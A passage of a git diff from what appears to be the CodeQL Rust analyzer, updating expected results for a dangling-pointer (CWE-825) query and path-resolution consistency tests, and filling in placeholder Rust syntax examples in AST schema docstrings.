...::dangling_mut | invalid | | deallocation.rs:132:14:132:15 | p3 | deallocation.rs:125:23:125:36 | ...::null | deallocation.rs:132:14:132:15 | p3 | This operation dereferences a pointer that may be $@. | deallocation.rs:125:23:125:36 | ...::null | invalid | | deallocation.rs:180:15:180:16 | p1 | deallocation.rs:176:3:176:25 | ...::drop_in_place | deallocation.rs:180:15:180:16 | p1 | This operation dereferences a pointer that may be $@. | deallocation.rs:176:3:176:25 | ...::drop_in_place | invalid | +| deallocation.rs:180:15:180:16 | p1 | deallocation.rs:176:3:176:25 | ...::drop_in_place | deallocation.rs:180:15:180:16 | p1 | This operation dereferences a pointer that may be $@. | deallocation.rs:176:3:176:25 | ...::drop_in_place | invalid | +| deallocation.rs:248:18:248:20 | ptr | deallocation.rs:242:3:242:25 | ...::drop_in_place | deallocation.rs:248:18:248:20 | ptr | This operation dereferences a pointer that may be $@. | deallocation.rs:242:3:242:25 | ...::drop_in_place | invalid | | deallocation.rs:248:18:248:20 | ptr | deallocation.rs:242:3:242:25 | ...::drop_in_place | deallocation.rs:248:18:248:20 | ptr | This operation dereferences a pointer that may be $@. | deallocation.rs:242:3:242:25 | ...::drop_in_place | invalid | edges | deallocation.rs:20:3:20:21 | ...::dealloc | deallocation.rs:20:23:20:24 | [post] m1 | provenance | Src:MaD:3 MaD:3 | @@ -33,6 +36,7 @@ edges | deallocation.rs:112:14:112:40 | [post] my_ptr as ... | deallocation.rs:115:13:115:18 | my_ptr | provenance | | | deallocation.rs:123:6:123:7 | p1 | deallocation.rs:130:14:130:15 | p1 | provenance | | | deallocation.rs:123:23:123:40 | ...::dangling | deallocation.rs:123:23:123:42 | ...::dangling(...) | provenance | Src:MaD:4 MaD:4 | +| deallocation.rs:123:23:123:40 | ...::dangling | deallocation.rs:123:23:123:42 | ...::dangling(...) | provenance | Src:MaD:4 MaD:4 | | deallocation.rs:123:23:123:42 | ...::dangling(...) | deallocation.rs:123:6:123:7 | p1 | provenance | | | deallocation.rs:124:6:124:7 | p2 | deallocation.rs:131:14:131:15 | p2 | provenance | | | deallocation.rs:124:21:124:42 | ...::dangling_mut | deallocation.rs:124:21:124:44 | ...::dangling_mut(...) | provenance | Src:MaD:5 MaD:5 | @@ -41,8 +45,10 @@ edges | deallocation.rs:125:23:125:36 | ...::null | deallocation.rs:125:23:125:38 | ...::null(...) | provenance | Src:MaD:7 MaD:7 | | deallocation.rs:125:23:125:38 | ...::null(...) | deallocation.rs:125:6:125:7 | p3 | provenance | | | deallocation.rs:176:3:176:25 | ...::drop_in_place | deallocation.rs:176:27:176:28 | [post] p1 | provenance | Src:MaD:6 MaD:6 | +| deallocation.rs:176:3:176:25 | ...::drop_in_place | deallocation.rs:176:27:176:28 | [post] p1 | provenance | Src:MaD:6 MaD:6 | | deallocation.rs:176:27:176:28 | [post] p1 | deallocation.rs:180:15:180:16 | p1 | provenance | | | deallocation.rs:242:3:242:25 | ...::drop_in_place | deallocation.rs:242:27:242:29 | [post] ptr | provenance | Src:MaD:6 MaD:6 | +| deallocation.rs:242:3:242:25 | ...::drop_in_place | deallocation.rs:242:27:242:29 | [post] ptr | provenance | Src:MaD:6 MaD:6 | | deallocation.rs:242:27:242:29 | [post] ptr | deallocation.rs:248:18:248:20 | ptr | provenance | | models | 1 | Sink: lang:core; crate::ptr::read; pointer-access; Argument[0] | @@ -75,6 +81,7 @@ nodes | deallocation.rs:115:13:115:18 | my_ptr | semmle.label | my_ptr | | deallocation.rs:123:6:123:7 | p1 | semmle.label | p1 | | deallocation.rs:123:23:123:40 | ...::dangling | semmle.label | ...::dangling | +| deallocation.rs:123:23:123:40 | ...::dangling | semmle.label | ...::dangling | | deallocation.rs:123:23:123:42 | ...::dangling(...) | semmle.label | ...::dangling(...) | | deallocation.rs:124:6:124:7 | p2 | semmle.label | p2 | | deallocation.rs:124:21:124:42 | ...::dangling_mut | semmle.label | ...::dangling_mut | @@ -86,9 +93,11 @@ nodes | deallocation.rs:131:14:131:15 | p2 | semmle.label | p2 | | deallocation.rs:132:14:132:15 | p3 | semmle.label | p3 | | deallocation.rs:176:3:176:25 | ...::drop_in_place | semmle.label | ...::drop_in_place | +| deallocation.rs:176:3:176:25 | ...::drop_in_place | semmle.label | ...::drop_in_place | | deallocation.rs:176:27:176:28 | [post] p1 | semmle.label | [post] p1 | | deallocation.rs:180:15:180:16 | p1 | semmle.label | p1 | | deallocation.rs:242:3:242:25 | ...::drop_in_place | semmle.label | ...::drop_in_place | +| deallocation.rs:242:3:242:25 | ...::drop_in_place | semmle.label | ...::drop_in_place | | deallocation.rs:242:27:242:29 | [post] ptr | semmle.label | [post] ptr | | deallocation.rs:248:18:248:20 | ptr | semmle.label | ptr | subpaths diff --git a/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected index 804c13f6434..7345aedbab9 100644 --- a/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected @@ -9,3 +9,17 @@ multiplePathResolutions | deallocation.rs:112:3:112:12 | ...::free | file://:0:0:0:0 | fn free | | deallocation.rs:112:29:112:32 | libc | file://:0:0:0:0 | Crate(libc@0.2.171) | | deallocation.rs:112:29:112:32 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| lifetime.rs:415:32:415:49 | ...::clone | file://:0:0:0:0 | fn clone | +| lifetime.rs:415:32:415:49 | ...::clone | file://:0:0:0:0 | fn clone | diff --git a/rust/ql/test/query-tests/unusedentities/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/unusedentities/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 00000000000..8563020471c --- /dev/null +++ b/rust/ql/test/query-tests/unusedentities/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,31 @@ +multiplePathResolutions +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index b7c52e5aef2..aebf9a7a410 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -226,6 +226,7 @@ class CallExprBase(Expr): """ arg_list: optional["ArgList"] | child attrs: list["Attr"] | child + args: list["Expr"] | synth @annotate(CallExpr, replace_bases={Expr: CallExprBase}, cfg=True) @@ -644,7 +645,8 @@ class _: An inline assembly expression. For example: ```rust unsafe { - builtin # asm(_); + #[inline(always)] + builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); } ``` """ @@ -868,9 +870,12 @@ class _: @annotate(Abi) class _: """ - A Abi. For example: + An ABI specification for an extern function or block. + + For example: ```rust - todo!() + extern "C" fn foo() {} + // ^^^ ``` """ @@ -878,9 +883,12 @@ class _: @annotate(ArgList) class _: """ - A ArgList. For example: + A list of arguments in a function or method call. + + For example: ```rust - todo!() + foo(1, 2, 3); + // ^^^^^^^^^ ``` """ @@ -888,9 +896,12 @@ class _: @annotate(ArrayTypeRepr) class _: """ - A ArrayTypeRepr. For example: + An array type representation. + + For example: ```rust - todo!() + let arr: [i32; 4]; + // ^^^^^^^^ ``` """ @@ -898,9 +909,12 @@ class _: @annotate(AssocItem) class _: """ - A AssocItem. For example: + An associated item in a `Trait` or `Impl`. + + For example: ```rust - todo!() + trait T {fn foo(&self);} + // ^^^^^^^^^^^^^ ``` """ @@ -909,16 +923,24 @@ class _: @qltest.test_with(Trait) class _: """ - A list of `AssocItem` elements, as appearing for example in a `Trait`. + A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. """ @annotate(AssocTypeArg) class _: """ - A AssocTypeArg. For example: + An associated type argument in a path. + + For example: ```rust - todo!() + fn process_cloneable(iter: T) + where + T: Iterator + // ^^^^^^^^^^^ + { + // ... + } ``` """ @@ -926,9 +948,13 @@ class _: @annotate(Attr) class _: """ - A Attr. For example: + An attribute applied to an item. + + For example: ```rust - todo!() + #[derive(Debug)] + //^^^^^^^^^^^^^ + struct S; ``` """ @@ -936,9 +962,17 @@ class _: @annotate(ClosureBinder) class _: """ - A ClosureBinder. For example: + A closure binder, specifying lifetime or type parameters for a closure. + + For example: ```rust - todo!() + let print_any = for |x: T| { + // ^^^^^^^^^^^^^^^^^^^^^^^ + println!("{:?}", x); + }; + + print_any(42); + print_any("hello"); ``` """ @@ -946,9 +980,11 @@ class _: @annotate(Const) class _: """ - A Const. For example: + A constant item declaration. + + For example: ```rust - todo!() + const X: i32 = 42; ``` """ has_implementation: predicate | doc("this constant has an implementation") | desc(""" @@ -960,9 +996,12 @@ class _: @annotate(ConstArg) class _: """ - A ConstArg. For example: + A constant argument in a generic argument list. + + For example: ```rust - todo!() + Foo::<3> + // ^ ``` """ @@ -970,9 +1009,12 @@ class _: @annotate(ConstParam) class _: """ - A ConstParam. For example: + A constant parameter in a generic parameter list. + + For example: ```rust - todo!() + struct Foo ; + // ^^^^^^^^^^^^^^ ``` """ @@ -980,9 +1022,12 @@ class _: @annotate(DynTraitTypeRepr) class _: """ - A DynTraitTypeRepr. For example: + A dynamic trait object type. + + For example: ```rust - todo!() + let x: &dyn Debug; + // ^^^^^^^^^ ``` """ @@ -990,9 +1035,11 @@ class _: @annotate(Enum) class _: """ - A Enum. For example: + An enum declaration. + + For example: ```rust - todo!() + enum E {A, B(i32), C {x: i32}} ``` """ @@ -1000,9 +1047,13 @@ class _: @annotate(ExternBlock) class _: """ - A ExternBlock. For example: + An extern block containing foreign function declarations. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + } ``` """ @@ -1010,9 +1061,11 @@ class _: @annotate(ExternCrate) class _: """ - A ExternCrate. For example: + An extern crate declaration. + + For example: ```rust - todo!() + extern crate serde; ``` """ @@ -1020,9 +1073,14 @@ class _: @annotate(ExternItem) class _: """ - A ExternItem. For example: + An item inside an extern block. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + static BAR: i32; + } ``` """ @@ -1030,20 +1088,29 @@ class _: @annotate(ExternItemList) class _: """ - A ExternItemList. For example: + A list of items inside an extern block. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + static BAR: i32; + } ``` """ -# @annotate(VariantFieldList) @annotate(FieldList) class _: """ - A field of a variant. For example: + A list of fields in a struct or enum variant. + + For example: ```rust - todo!() + struct S {x: i32, y: i32} + // ^^^^^^^^^^^^^^^^ + enum E {A(i32, i32)} + // ^^^^^^^^^^^^^ ``` """ @@ -1051,9 +1118,12 @@ class _: @annotate(FnPtrTypeRepr) class _: """ - A FnPtrTypeRepr. For example: + A function pointer type. + + For example: ```rust - todo!() + let f: fn(i32) -> i32; + // ^^^^^^^^^^^^^^ ``` """ @@ -1061,9 +1131,13 @@ class _: @annotate(ForExpr, replace_bases={Expr: LoopingExpr}, cfg=True) class _: """ - A ForExpr. For example: + A for loop expression. + + For example: ```rust - todo!() + for x in 0..10 { + println!("{}", x); + } ``` """ label: drop @@ -1073,9 +1147,17 @@ class _: @annotate(ForTypeRepr) class _: """ - A ForTypeRepr. For example: + A higher-ranked trait bound. + + For example: ```rust - todo!() + fn foo(value: T) + where + T: for<'a> Fn(&'a str) -> &'a str + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + { + // ... + } ``` """ @@ -1109,9 +1191,12 @@ class _: @annotate(GenericArg) class _: """ - A GenericArg. For example: + A generic argument in a generic argument list. + + For example: ```rust - todo!() + Foo:: + // ^^^^^^^^^^^ ``` """ @@ -1119,9 +1204,12 @@ class _: @annotate(GenericParam) class _: """ - A GenericParam. For example: + A generic parameter in a generic parameter list. + + For example: ```rust - todo!() + fn foo(t: T, u: U) {} + // ^ ^ ``` """ @@ -1142,9 +1230,13 @@ class _: @annotate(Impl) class _: """ - A Impl. For example: + An `impl`` block. + + For example: ```rust - todo!() + impl MyTrait for MyType { + fn foo(&self) {} + } ``` """ @@ -1152,9 +1244,12 @@ class _: @annotate(ImplTraitTypeRepr) class _: """ - A ImplTraitTypeRepr. For example: + An `impl Trait` type. + + For example: ```rust - todo!() + fn foo() -> impl Iterator { 0..10 } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^ ``` """ @@ -1162,9 +1257,12 @@ class _: @annotate(InferTypeRepr) class _: """ - A InferTypeRepr. For example: + An inferred type (`_`). + + For example: ```rust - todo!() + let x: _ = 42; + // ^ ``` """ @@ -1172,9 +1270,13 @@ class _: @annotate(Item, add_bases=(Addressable,)) class _: """ - A Item. For example: + An item such as a function, struct, enum, etc. + + For example: ```rust - todo!() + fn foo() {} + struct S; + enum E {} ``` """ attribute_macro_expansion: optional[MacroItems] | child | rust.detach @@ -1183,9 +1285,14 @@ class _: @annotate(ItemList) class _: """ - A ItemList. For example: + A list of items in a module or block. + + For example: ```rust - todo!() + mod m { + fn foo() {} + struct S; + } ``` """ @@ -1193,9 +1300,14 @@ class _: @annotate(LetElse) class _: """ - A LetElse. For example: + An else block in a let-else statement. + + For example: ```rust - todo!() + let Some(x) = opt else { + return; + }; + // ^^^^^^ ``` """ @@ -1203,9 +1315,12 @@ class _: @annotate(Lifetime) class _: """ - A Lifetime. For example: + A lifetime annotation. + + For example: ```rust - todo!() + fn foo<'a>(x: &'a str) {} + // ^^ ^^ ``` """ @@ -1213,9 +1328,12 @@ class _: @annotate(LifetimeArg) class _: """ - A LifetimeArg. For example: + A lifetime argument in a generic argument list. + + For example: ```rust - todo!() + let text: Text<'a>; + // ^^ ``` """ @@ -1223,9 +1341,12 @@ class _: @annotate(LifetimeParam) class _: """ - A LifetimeParam. For example: + A lifetime parameter in a generic parameter list. + + For example: ```rust - todo!() + fn foo<'a>(x: &'a str) {} + // ^^ ``` """ @@ -1233,34 +1354,16 @@ class _: @annotate(MacroCall, cfg=True) class _: """ - A MacroCall. For example: + A macro invocation. + + For example: ```rust - todo!() + println!("Hello, world!"); ``` """ macro_call_expansion: optional[AstNode] | child | rust.detach -@annotate(MacroDef) -class _: - """ - A MacroDef. For example: - ```rust - todo!() - ``` - """ - - -@annotate(MacroExpr, cfg=True) -class _: - """ - A MacroExpr. For example: - ```rust - todo!() - ``` - """ - - @annotate(MacroItems) @rust.doc_test_signature(None) class _: @@ -1282,22 +1385,16 @@ class _: """ -@annotate(MacroPat, cfg=True) -class _: - """ - A MacroPat. For example: - ```rust - todo!() - ``` - """ - - @annotate(MacroRules) class _: """ - A MacroRules. For example: + A macro definition using the `macro_rules!` syntax. ```rust - todo!() + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } ``` """ @@ -1318,9 +1415,15 @@ class _: @annotate(MacroTypeRepr) class _: """ - A MacroTypeRepr. For example: + A type produced by a macro. + + For example: ```rust - todo!() + macro_rules! macro_type { + () => { i32 }; + } + type T = macro_type!(); + // ^^^^^^^^^^^^^ ``` """ @@ -1328,9 +1431,16 @@ class _: @annotate(MatchArmList) class _: """ - A MatchArmList. For example: + A list of arms in a match expression. + + For example: ```rust - todo!() + match x { + 1 => "one", + 2 => "two", + _ => "other", + } + // ^^^^^^^^^^^ ``` """ @@ -1338,9 +1448,15 @@ class _: @annotate(MatchGuard) class _: """ - A MatchGuard. For example: + A guard condition in a match arm. + + For example: ```rust - todo!() + match x { + y if y > 0 => "positive", + // ^^^^^^^ + _ => "non-positive", + } ``` """ @@ -1348,9 +1464,17 @@ class _: @annotate(Meta) class _: """ - A Meta. For example: + A meta item in an attribute. + + For example: ```rust - todo!() + #[unsafe(lint::name = "reason_for_bypass")] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + fn foo() { + // ... + } ``` """ @@ -1358,9 +1482,12 @@ class _: @annotate(Name, cfg=True) class _: """ - A Name. For example: + An identifier name. + + For example: ```rust - todo!() + let foo = 1; + // ^^^ ``` """ @@ -1368,9 +1495,12 @@ class _: @annotate(NameRef) class _: """ - A NameRef. For example: + A reference to a name. + + For example: ```rust - todo!() + foo(); + //^^^ ``` """ @@ -1378,9 +1508,12 @@ class _: @annotate(NeverTypeRepr) class _: """ - A NeverTypeRepr. For example: + The never type `!`. + + For example: ```rust - todo!() + fn foo() -> ! { panic!() } + // ^ ``` """ @@ -1412,22 +1545,14 @@ class _: type_repr: drop -@annotate(ParamList) -class _: - """ - A ParamList. For example: - ```rust - todo!() - ``` - """ - - @annotate(ParenExpr) class _: """ - A ParenExpr. For example: + A parenthesized expression. + + For example: ```rust - todo!() + (x + y) ``` """ @@ -1435,9 +1560,12 @@ class _: @annotate(ParenPat) class _: """ - A ParenPat. For example: + A parenthesized pattern. + + For example: ```rust - todo!() + let (x) = 1; + // ^^^ ``` """ @@ -1445,9 +1573,12 @@ class _: @annotate(ParenTypeRepr) class _: """ - A ParenTypeRepr. For example: + A parenthesized type. + + For example: ```rust - todo!() + let x: (i32); + // ^^^^^ ``` """ @@ -1457,6 +1588,12 @@ class _: class _: """ A path segment, which is one part of a whole path. + For example: + - `HashMap` + - `HashMap` + - `Fn(i32) -> i32` + - `widgets(..)` + - `` """ type_repr: optional["TypeRepr"] | child | rust.detach trait_type_repr: optional["PathTypeRepr"] | child | rust.detach @@ -1466,7 +1603,7 @@ class _: @qltest.test_with(Path) class _: """ - A type referring to a path. For example: + A path referring to a type. For example: ```rust type X = std::collections::HashMap; type Y = X::Item; @@ -1477,9 +1614,13 @@ class _: @annotate(PtrTypeRepr) class _: """ - A PtrTypeRepr. For example: + A pointer type. + + For example: ```rust - todo!() + let p: *const i32; + let q: *mut i32; + // ^^^^^^^^^ ``` """ @@ -1487,9 +1628,12 @@ class _: @annotate(StructExprFieldList) class _: """ - A StructExprFieldList. For example: + A list of fields in a struct expression. + + For example: ```rust - todo!() + Foo { a: 1, b: 2 } + // ^^^^^^^^^^^ ``` """ @@ -1497,9 +1641,12 @@ class _: @annotate(StructField) class _: """ - A StructField. For example: + A field in a struct declaration. + + For example: ```rust - todo!() + struct S { x: i32 } + // ^^^^^^^ ``` """ @@ -1507,9 +1654,12 @@ class _: @annotate(StructFieldList) class _: """ - A field list of a struct expression. For example: + A list of fields in a struct declaration. + + For example: ```rust - todo!() + struct S { x: i32, y: i32 } + // ^^^^^^^^^^^^^^^ ``` """ @@ -1517,9 +1667,12 @@ class _: @annotate(StructPatFieldList) class _: """ - A StructPatFieldList. For example: + A list of fields in a struct pattern. + + For example: ```rust - todo!() + let Foo { a, b } = foo; + // ^^^^^ ``` """ @@ -1527,9 +1680,13 @@ class _: @annotate(RefTypeRepr) class _: """ - A RefTypeRepr. For example: + A reference type. + + For example: ```rust - todo!() + let r: &i32; + let m: &mut i32; + // ^^^^^^^^ ``` """ @@ -1537,9 +1694,12 @@ class _: @annotate(Rename) class _: """ - A Rename. For example: + A rename in a use declaration. + + For example: ```rust - todo!() + use foo as bar; + // ^^^^^^ ``` """ @@ -1547,9 +1707,12 @@ class _: @annotate(RestPat, cfg=True) class _: """ - A RestPat. For example: + A rest pattern (`..`) in a tuple, slice, or struct pattern. + + For example: ```rust - todo!() + let (a, .., z) = (1, 2, 3); + // ^^ ``` """ @@ -1557,9 +1720,12 @@ class _: @annotate(RetTypeRepr) class _: """ - A RetTypeRepr. For example: + A return type in a function signature. + + For example: ```rust - todo!() + fn foo() -> i32 {} + // ^^^^^^ ``` """ @@ -1567,9 +1733,22 @@ class _: @annotate(ReturnTypeSyntax) class _: """ - A ReturnTypeSyntax. For example: + A return type notation `(..)` to reference or bound the type returned by a trait method + + For example: ```rust - todo!() + struct ReverseWidgets> { + factory: F, + } + + impl Factory for ReverseWidgets + where + F: Factory, + { + fn widgets(&self) -> impl Iterator { + self.factory.widgets().rev() + } + } ``` """ @@ -1597,9 +1776,12 @@ class _: @annotate(SliceTypeRepr) class _: """ - A SliceTypeRepr. For example: + A slice type. + + For example: ```rust - todo!() + let s: &[i32]; + // ^^^^^ ``` """ @@ -1607,9 +1789,12 @@ class _: @annotate(SourceFile) class _: """ - A SourceFile. For example: + A source file. + + For example: ```rust - todo!() + // main.rs + fn main() {} ``` """ @@ -1617,9 +1802,11 @@ class _: @annotate(Static) class _: """ - A Static. For example: + A static item declaration. + + For example: ```rust - todo!() + static X: i32 = 42; ``` """ @@ -1627,9 +1814,15 @@ class _: @annotate(StmtList) class _: """ - A StmtList. For example: + A list of statements in a block. + + For example: ```rust - todo!() + { + let x = 1; + let y = 2; + } + // ^^^^^^^^^ ``` """ @@ -1639,7 +1832,10 @@ class _: """ A Struct. For example: ```rust - todo!() + struct Point { + x: i32, + y: i32, + } ``` """ field_list: _ | ql.db_table_name("struct_field_lists_") @@ -1648,9 +1844,16 @@ class _: @annotate(TokenTree) class _: """ - A TokenTree. For example: + A token tree in a macro definition or invocation. + + For example: ```rust - todo!() + println!("{} {}!", "Hello", "world"); + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ``` + ```rust + macro_rules! foo { ($x:expr) => { $x + 1 }; } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ``` """ @@ -1675,9 +1878,11 @@ class _: @annotate(TraitAlias) class _: """ - A TraitAlias. For example: + A trait alias. + + For example: ```rust - todo!() + trait Foo = Bar + Baz; ``` """ @@ -1685,9 +1890,12 @@ class _: @annotate(TryExpr, cfg=True) class _: """ - A TryExpr. For example: + A try expression using the `?` operator. + + For example: ```rust - todo!() + let x = foo()?; + // ^ ``` """ @@ -1695,9 +1903,12 @@ class _: @annotate(TupleField) class _: """ - A TupleField. For example: + A field in a tuple struct or tuple enum variant. + + For example: ```rust - todo!() + struct S(i32, String); + // ^^^ ^^^^^^ ``` """ @@ -1705,9 +1916,12 @@ class _: @annotate(TupleFieldList) class _: """ - A TupleFieldList. For example: + A list of fields in a tuple struct or tuple enum variant. + + For example: ```rust - todo!() + struct S(i32, String); + // ^^^^^^^^^^^^^ ``` """ @@ -1715,9 +1929,12 @@ class _: @annotate(TupleTypeRepr) class _: """ - A TupleTypeRepr. For example: + A tuple type. + + For example: ```rust - todo!() + let t: (i32, String); + // ^^^^^^^^^^^^^ ``` """ @@ -1740,9 +1957,12 @@ class _: @annotate(TypeArg) class _: """ - A TypeArg. For example: + A type argument in a generic argument list. + + For example: ```rust - todo!() + Foo:: + // ^^^ ``` """ @@ -1750,9 +1970,12 @@ class _: @annotate(TypeBound) class _: """ - A TypeBound. For example: + A type bound in a trait or generic parameter. + + For example: ```rust - todo!() + fn foo(t: T) {} + // ^^^^^ ``` """ @@ -1760,9 +1983,12 @@ class _: @annotate(TypeBoundList) class _: """ - A TypeBoundList. For example: + A list of type bounds. + + For example: ```rust - todo!() + fn foo(t: T) {} + // ^^^^^^^^^^^^^ ``` """ @@ -1770,9 +1996,12 @@ class _: @annotate(TypeParam) class _: """ - A TypeParam. For example: + A type parameter in a generic parameter list. + + For example: ```rust - todo!() + fn foo(t: T) {} + // ^ ``` """ @@ -1780,9 +2009,11 @@ class _: @annotate(Union) class _: """ - A Union. For example: + A union declaration. + + For example: ```rust - todo!() + union U { f1: u32, f2: f32 } ``` """ @@ -1790,9 +2021,9 @@ class _: @annotate(Use) class _: """ - A Use. For example: + A `use` statement. For example: ```rust - todo!() + use std::collections::HashMap; ``` """ @@ -1800,7 +2031,7 @@ class _: @annotate(UseTree) class _: """ - A UseTree. For example: + A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: ```rust use std::collections::HashMap; use std::collections::*; @@ -1813,9 +2044,12 @@ class _: @annotate(UseTreeList) class _: """ - A UseTreeList. For example: + A list of use trees in a use declaration. + + For example: ```rust - todo!() + use std::{fs, io}; + // ^^^^^^^^ ``` """ @@ -1823,9 +2057,12 @@ class _: @annotate(Variant, add_bases=(Addressable,)) class _: """ - A Variant. For example: + A variant in an enum declaration. + + For example: ```rust - todo!() + enum E { A, B(i32), C { x: i32 } } + // ^ ^^^^^^ ^^^^^^^^^^^^ ``` """ @@ -1833,9 +2070,12 @@ class _: @annotate(VariantList) class _: """ - A VariantList. For example: + A list of variants in an enum declaration. + + For example: ```rust - todo!() + enum E { A, B, C } + // ^^^^^^^^^^^ ``` """ @@ -1843,9 +2083,12 @@ class _: @annotate(Visibility) class _: """ - A Visibility. For example: + A visibility modifier. + + For example: ```rust - todo!() + pub struct S; + //^^^ ``` """ @@ -1853,9 +2096,12 @@ class _: @annotate(WhereClause) class _: """ - A WhereClause. For example: + A where clause in a generic declaration. + + For example: ```rust - todo!() + fn foo(t: T) where T: Debug {} + // ^^^^^^^^^^^^^^ ``` """ @@ -1863,9 +2109,12 @@ class _: @annotate(WherePred) class _: """ - A WherePred. For example: + A predicate in a where clause. + + For example: ```rust - todo!() + fn foo(t: T, u: U) where T: Debug, U: Clone {} + // ^^^^^^^^ ^^^^^^^^ ``` """ @@ -1873,9 +2122,13 @@ class _: @annotate(WhileExpr, replace_bases={Expr: LoopingExpr}, cfg=True) class _: """ - A WhileExpr. For example: + A while loop expression. + + For example: ```rust - todo!() + while x < 10 { + x += 1; + } ``` """ label: drop @@ -1960,3 +2213,251 @@ class FormatArgument(Locatable): """ parent: Format variable: optional[FormatTemplateVariableAccess] | child + + +@annotate(MacroDef) +class _: + """ + A Rust 2.0 style declarative macro definition. + + For example: + ```rust + pub macro vec_of_two($element:expr) { + vec![$element, $element] + } + ``` + """ + + +@annotate(MacroExpr, cfg=True) +class _: + """ + A macro expression, representing the invocation of a macro that produces an expression. + + For example: + ```rust + let y = vec![1, 2, 3]; + ``` + """ + + +@annotate(MacroPat, cfg=True) +class _: + """ + A macro pattern, representing the invocation of a macro that produces a pattern. + + For example: + ```rust + macro_rules! my_macro { + () => { + Ok(_) + }; + } + match x { + my_macro!() => "matched", + // ^^^^^^^^^^^ + _ => "not matched", + } + ``` + """ + + +@annotate(ParamList) +class _: + """ + A list of parameters in a function, method, or closure declaration. + + For example: + ```rust + fn foo(x: i32, y: i32) {} + // ^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmDirSpec) +class _: + """ + An inline assembly direction specifier. + + For example: + ```rust + use core::arch::asm; + asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + // ^^^ ^^ + ``` + """ + + +@annotate(AsmOperandExpr) +class _: + """ + An operand expression in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ + ``` + """ + + +@annotate(AsmOption) +class _: + """ + An option in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + 